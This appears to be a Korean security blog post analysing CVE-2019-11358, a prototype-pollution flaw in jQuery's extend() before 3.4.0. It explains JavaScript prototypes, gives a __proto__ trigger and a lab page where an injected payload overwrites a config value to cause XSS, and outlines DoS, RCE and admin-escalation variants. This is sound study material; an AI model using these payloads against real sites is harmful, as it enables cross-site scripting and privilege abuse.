본문 바로가기

1-day

[1-day] CVE-2019-11358 / Prototype pollution

 

Description


 

해당 취약점인 오픈소스 자바스크립트 라이브러리인 jQuery에서 발견된 취약점입니다. 해당 CVE는 자바스크립트 protytype을 덮어쓸 수 있는 취약점으로 XSS 공격이 가능하며, 더 나아가 DoS, RCE, Property injection과 같은 공격으로 이어질 수 있습니다.

 

이 취약점은 jQuery의 extend() 함수에서 발생하며, extend()는 여러 객체들을 하나로 합쳐주는 함수입니다. 즉, 객체를 합치는 과정에서 부모 객체의 prototype을 오염시킬 경우 취약점이 발생합니다.

 

CVSS 점수가 6.1로 측정되었으며 jQuery 버전 3.4.0 이전 버전에서 영향을 받는 걸로 나타났습니다. 

 

 

 

Prototype pollution


prototype pollution을 이해하기 위해서는 자바스크립트의 prototype 개념에 대해 알고 있어야 합니다. 

 

자바스크립트는 자바와 같은 클래스 기반이 아닌 프로토타입 기반의 언어입니다. 프로토타입 기반 언어는 객체 원형인 프로토타입을 이용하여 새로운 객체를 만듭니다. 이렇게 생성된 객체 역시 또 다른 객체의 원형이 될 수 있습니다. 

 

아래는 자바스크립트의 객체 내부에 대한 설명입니다.

 

그림 1

위 그림 1은 자바스크립트에서 함수를 정의한 모습입니다. 자바스크립트에서는 기본 데이터 타입을 제외한 모든 것들을 객체로 관리합니다. 그림 1과 같이 선언하게 되면 내부적으로는 아래와 같은 모습을 보입니다. 👇

 

그림 2

 

즉, 함수, 객체를 선언하게 되면 내부적으로 선언한 객체와 같은 모습을 하는 프로토타입 객체를 생성하게 됩니다. 원래 객체의 원형이 되는 객체는 prototype 속성을 가지게되고 이 속성은 프로토타입 객체를 가리키게 됩니다. 프로토타입 객체는 constructor(생성자) 속성을 가지게 되고 해당 속성을 프로토타입의 원형 객체를 가리키게 됩니다. 이제 Parant 함수를 상속 받는 객체들을 만들 경우 해당 객체들은 모두 Parant 프로토타입 객체를 가리키게 됩니다. 

 

그림 3

 

이제 그림 3과 같이 선언하게 되면 아래와 같은 형태를 띄게 됩니다. 

 

그림 4

 

그림 4는 그림 3과 같이 선언할 경우 객체 구조를 표현한 것입니다. 그림 4를 보게 되면 각각의 dan과 mooji 객체 내부에는 __proto__라는 속성이 존재하며 이는 부모 객체의 프로토타입 객체를 가리키고 있습니다. 

 

즉, 부모 객체를 상속 받게되면 그 부모 객체의 프로토타입을 가리키는 __proto__ 속성이 존재하게 되고 해당 속성을 통해 부모 프로토타입 객체의 속성에 접근할 수 있게 됩니다. 

ex) dan.__proto__.vuln = "hack" 으로 접근할 경우 mooji 객체의 속성에 vuln 속성이 추가 되게 된다.

 

그림 5

 

그림 5를 보게 되면 dan 객체의 속성을 이용해서 값을 추가했을 뿐인데 mooji 객체 또한 vuln 속성을 사용할 수 있게 됩니다. 이와 같이 __proto__ 속성을 통해 부모 프로토타입 객체에 접근이 가능할 경우 같은 프로토타입을 상속 받은 객체의 속성을 Overwrite 할 수 있는 Prototype Pollution이 발생할 수 있게 됩니다.

 

 

 

Trigger


CVE-2019-11358은 jQuery의 extend() 함수에서 발생합니다. extend() 함수에 대해 간단히 살펴보고 가겠습니다. 

그림 6

그림 6은 jQuery docs에서 extend() 함수에 대해 설명한 것입니다. 해당 설명을 보면 첫 번째 인자로 Boolean이 옵니다. true일 경우 깊은 복사를 수행하며, 복사할 때 복사시킬 객체의 내부의 객체까지 모두 복사합니다. 두 번째 인자로는 복사될 객체가 오며, 세 번째 인자로는 복사시킬 객체가 옵니다.

 

let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))

 

즉 위 코드를 실행시키게 되면, {} 라는 빈 객체에 __proto__라는 key를 가지며 value로 {"devMode": true}를 가진 객체를 합치게 됩니다. 

 

결론적으로 extend() 함수로 객체를 병합하는 과정에서 __proto__에 대한 필터링?이 없기 때문에 Prototype Pollution이 발생하게 되는 것입니다. 

 

 

 

Attacking


 

실습환경은 취약점이 존재하는 jQuery 버전을 import 후 간단하게 구성하였습니다. 

 

<html>
    <head>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    </head>
    <body>
        <div id="backLinkContainer"></div>
        <p>Prototype Pollution</p>

        <script>
            const defaultConfig = {
                "backLink": "<a href='https://website.com'>Go Back</a>"
            };

            const queryParams = {
                "q": "books",
                /* Attacker Embedded Query Param. Directly from URL or using other Backend/Frontend manipulations */
                "__proto__": {
                    "backLink": "<svg onload=alert(1337)>"
                }
            }

            let config = jQuery.extend(true, defaultConfig, queryParams);

            $('#backLinkContainer').html(config.backLink);
        </script>
    </body>
</html>

 

jQuery 3.3.1 버전을 이용하였습니다. extend() 함수로 병합하는 두 객체를 보면

 

그림 7

 

defaultConfig라는 객체에 공격자가 삽입한 queryParams라는 객체를 병합시킵니다. queryParam를 보면 "__proto__"라는 Key값이 있고 value 값으로 defaultConfig의 속성값과 동일한 key값이 있습니다.

 

두 객체를 병합하게 되면 defaultConfig는 queryParams에 있는 __proto__속성을 갖게되고 backLink 값이 Overwrite 됩니다. 나머지 코드는 html 코드 내에 div 태그에 backLink를 삽입합니다. -> XSS가 발생합니다.

 

그림 8

 

그림 8을 보면 페이지가 렌더링 될때 미리 삽입해둔 alert()가 실행된걸 볼 수 있습니다.

 

이외에도 다음과 같은 경우로 취약점이 악용될 수 있습니다.

 

1. DoS

  공격자가 일반함수, toString()과 valueOf와 같은 함수들을 오염시킬 때 발생합니다. 만약 toString함수를 오염시켜 Integer를 Integer로 그대로 반환되도록 오염시킨다면 DoS가 발생할 수 있습니다.

 

2. RCE

  RCE는 코드에서 해당 코드를 특정 객체의 속성을 실행할 때만 가능합니다. 예를들어 eval 함수를 통해 객체의 속성을 실행할 경우 임의 코드 실행이 가능합니다.

 

3. Property Injection

  Property Injection은 쿠키와 토큰과 같이 정보적 가치를 가지는 객체의 속성을 오염시킬 때 발생할 수 있습니다. 예를들어 서버에서 user객체의 isAdmin값에 접근하여 admin을 판단할 경우 공격자는 다음과 같이 악용이 가능합니다.

Obeject.__proto__.user = true를 통해 admin 권한을 얻을 수 있습니다.

 

자바스크립트의 __proto__ 속성은 논란의 여지가 있어 사용은 권장되지 않지만 브라우저의 호환성을 위해 ECMAscript 2015 버전에서 호환되었으며 향후에도 지원될 것이라고 합니다.

 

__proto__ 대신 Object.getPrototypeOf 와 같은 것들이 권장됩니다. 

 

 

Patch


jQuery의 extend() 함수에서 __proto__에 대한 필터링이 추가 되었습니다 👇

 

 

 

 

Reference


https://security.snyk.io/vuln/SNYK-JS-JQUERY-174006

 

Snyk Vulnerability Database | Snyk

The most comprehensive, accurate, and timely database for open source vulnerabilities.

security.snyk.io

https://www.hahwul.com/2019/05/01/jqeury-prototype-pollution-cve-2019-11358/

https://github.com/cve-sandbox/jquery/blob/main/CVE-2019-11358/index.html

 

jquery/CVE-2019-11358/index.html at main · cve-sandbox/jquery

CVE Collection of jQuery XSS Payloads. Contribute to cve-sandbox/jquery development by creating an account on GitHub.

github.com

https://www.ibm.com/support/pages/security-bulletin-ibm

https://www.nextree.co.kr/p7323/

 

JavaScript : 프로토타입(prototype) 이해

JavaScript는 클래스라는 개념이 없습니다. 그래서 기존의 객체를 복사하여(cloning) 새로운 객체를 생성하는 프로토타입 기반의 언어입니다. 프로토타입 기반 언어는 객체 원형인 프로토타입을 이

www.nextree.co.kr

 

'1-day' 카테고리의 다른 글

[1-day] CVE-2021-40346 / HTTP Request Smuggling  (0) 2024.03.29